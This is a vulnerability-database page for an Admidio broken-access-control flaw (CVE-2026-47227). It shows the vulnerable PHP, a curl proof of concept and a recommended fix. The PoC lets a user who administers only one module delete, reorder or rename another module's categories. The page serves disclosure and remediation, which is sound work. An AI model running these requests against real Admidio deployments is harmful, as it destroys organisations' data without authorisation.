Admidio CVE-2026-47227
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
modules/categories.php checks that the supplied type parameter (ANN, EVT, ROL, USF, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares $getType (a category-type code) against mode names (edit/save/delete); the condition is permanently false, so $category->isEditable() is never invoked. The delete, sequence, and save switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules - for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.
Details
vulnerable code
modules/categories.php:40-61:
$getMode = admFuncVariableIsValid($_GET, 'mode', 'string',
array('defaultValue' => 'list',
'validValues' => array('list', 'edit', 'save', 'delete', 'sequence')));
$getType = admFuncVariableIsValid($_GET, 'type', 'string',
array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT')));
$getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid');
// check rights of the type
if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
|| ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
|| ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
|| ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum())
|| ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
|| ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
|| ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers())
|| ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
if (in_array($getType, array('edit', 'save', 'delete'))) { // <- DEAD CODE
// check if this category is editable by the current user and current organization
if (!$category->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
}The in_array($getType, array('edit','save','delete')) test compares the category-type code to mode names. $getType can only be ANN, AWA, EVT, FOT, LNK, ROL, USF, or IVT (it is rejected by admFuncVariableIsValid if it is anything else), so the array intersection is permanently empty. The intended check was probably in_array($getMode, array('edit','save','delete')). As written, $category->isEditable() is never called from this entry point, and the $category symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.
modules/categories.php:99-110 - the delete switch case just loads the category by UUID and deletes it, with no per-record permission check:
case 'delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$menu = new Category($gDb);
$menu->readDataByUuid($getCategoryUUID);
$menu->delete();
echo json_encode(array('status' => 'success'));
break;modules/categories.php:112-123 - the sequence switch case has the same shape.
Category::delete() blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category's cat_type matches a module the actor has rights over.
exploitation flow
- Attacker has
Announcements administrator(or any other single module-admin right) but is not a roles / inventory / weblinks administrator. - Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting
modules/categories.php?type=<their_type>&mode=list. - Attacker requests
POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category>carrying their validadm_csrf_token.type=ANNsatisfies the rights gate at line 47-58 (they are an announcements admin). The deadifat line 56 does not fire. The switch falls intocase 'delete':which deletes the category without re-checking the type. - Server replies
{"status":"success"}. The cross-module category is gone.
The same primitive applies to mode=sequence (reorder), and to mode=save for editing the category's name and description.
PoC
Tested on a fresh install of HEAD c5cde53 running on PHP 8.4 + MariaDB 11.8 at http://127.0.0.1:8085. Reproduces in two requests. testadmin is the bootstrap administrator created during install; annadmin is a freshly-created user whose only role is Association's board with rol_announcements=1 (no roles / inventory / weblinks rights).
# 0. set-up: confirm starting state of the cross-module category
$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
-e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';"
cat_id cat_uuid cat_type cat_name
7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS
# 1. login as annadmin (announcements admin only) and capture session + csrf
$ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null
$ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...")
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...)
$ curl -s -c $C -b $C \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "adm_login_name=annadmin" \
--data-urlencode "adm_password=Annpwd123!" \
"http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"..."}
# 2. as annadmin, GET the categories page once to seed an in-session form key
$ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list")
$ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//')
# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category>
$ curl -s -b $C \
-X POST \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "direction=" \
"http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7"
{"status":"success"}
# 4. verify the row is gone - annadmin had no role-administrator rights
$ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';"
(no rows)The same chain with mode=sequence&direction=UP reorders a foreign category. With mode=save, an attacker can rename the foreign category and (via the unprotected cat_type rebind in CategoryService::save() line 210) re-tag it to a different module type, breaking referential consistency.
Impact
Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:
- Role categories (the structural grouping of all roles in the organisation)
- Event calendars (each calendar is a category of type
EVT) - Profile-field categories (the grouping of which fields are shown on which profile tab)
- Weblink categories
- Forum categories (
FOT) - Inventory categories (
IVT)
Category::delete() blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.
The CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. PR:L because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). I:H because data is destroyed and there is no in-product undo. A:N because the system stays up; only the affected module's metadata is gone.
Recommended Fix
Replace the dead if (in_array($getType, array('edit', 'save', 'delete'))) block with a real check on $getMode plus a per-record isEditable() test that re-derives the module from cat_type:
if (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') {
$category = new Category($gDb);
$category->readDataByUuid($getCategoryUUID);
if ($category->isNewRecord()) {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
// re-check rights against the *record's* cat_type, not the user-supplied type
$recordType = $category->getValue('cat_type');
if ( ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
|| ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
|| ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
|| ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum())
|| ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
|| ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
|| ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers())
|| ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
if (!$category->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
}Additionally, CategoryService::save() should refuse to mutate cat_type when editing an existing record (drop the $this->categoryRessource->setValue('cat_type', $this->type) at line 210, or set it only when isNewRecord()).
A regression test should call categories.php?mode=delete&type=ANN&uuid=<ROL-category> as a user with only isAdministratorAnnouncements() and assert the response is SYS_NO_RIGHTS rather than success.
AnalysisAI
Broken access control in Admidio's modules/categories.php allows any authenticated module-administrator to permanently delete, reorder, or rename category records belonging to modules they do not administer. An Announcements administrator, for example, can destroy Role categories, Event calendars, or Profile-field categories by supplying a foreign category UUID while passing their own authorized module type as the type GET parameter, bypassing a per-record authorization check that is permanently dead code. A detailed working proof-of-concept is publicly available, demonstrated on a fresh Admidio install; no public exploit identified at time of analysis as CISA KEV-confirmed active exploitation, but the CVSS 6.5 (PR:L, I:H) reflects real data-destruction risk in any Admidio deployment that delegates module-admin rights to non-superadmin users.
Technical ContextAI
Admidio is a PHP-based membership management application for associations and clubs, distributed via Composer as admidio/admidio. The vulnerability is classified as CWE-639 (Authorization Bypass Through User-Controlled Key). In modules/categories.php lines 40-61, the application validates that the user-supplied type GET parameter (one of ANN, AWA, EVT, FOT, LNK, ROL, USF, IVT) corresponds to a module the actor administers. However, the follow-up per-record authorization guard at lines 56-61 performs in_array($getType, array('edit','save','delete')), comparing category-type codes against operation mode names - these two sets are disjoint by design of admFuncVariableIsValid, making the condition permanently false. The delete, sequence, and save switch cases (lines 99-123) then load a category record by UUID from the database and act on it without re-verifying that the loaded record's cat_type matches the actor's module rights. Category::delete() has a partial safeguard preventing deletion of categories with active referential records, but applies no module-level authorization. Affected package: pkg:composer/admidio/admidio versions <= 5.0.9.
RemediationAI
Upgrade Admidio to version 5.0.10, the vendor-released patch confirmed by GitHub Security Advisory GHSA-rwjr-qjj3-mq2f (https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f). The fix replaces the dead in_array($getType, array('edit','save','delete')) guard with a correct in_array($getMode, ...) check and adds per-record re-authorization that reads cat_type from the loaded database record and re-verifies the actor's module rights against the actual record type rather than the user-supplied type parameter. If immediate upgrade is not feasible, restrict HTTP access to modules/categories.php at the web server or WAF layer to superadministrators only - note this disables category management for all delegated module administrators as a side effect. Alternatively, audit and revoke module-administrator grants for all non-fully-trusted users until the patch is applied; this reduces blast radius but does not eliminate the vulnerability. The advisory also recommends patching CategoryService::save() to prevent cat_type mutation on existing records, which closes a related integrity-consistency attack path.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-rwjr-qjj3-mq2f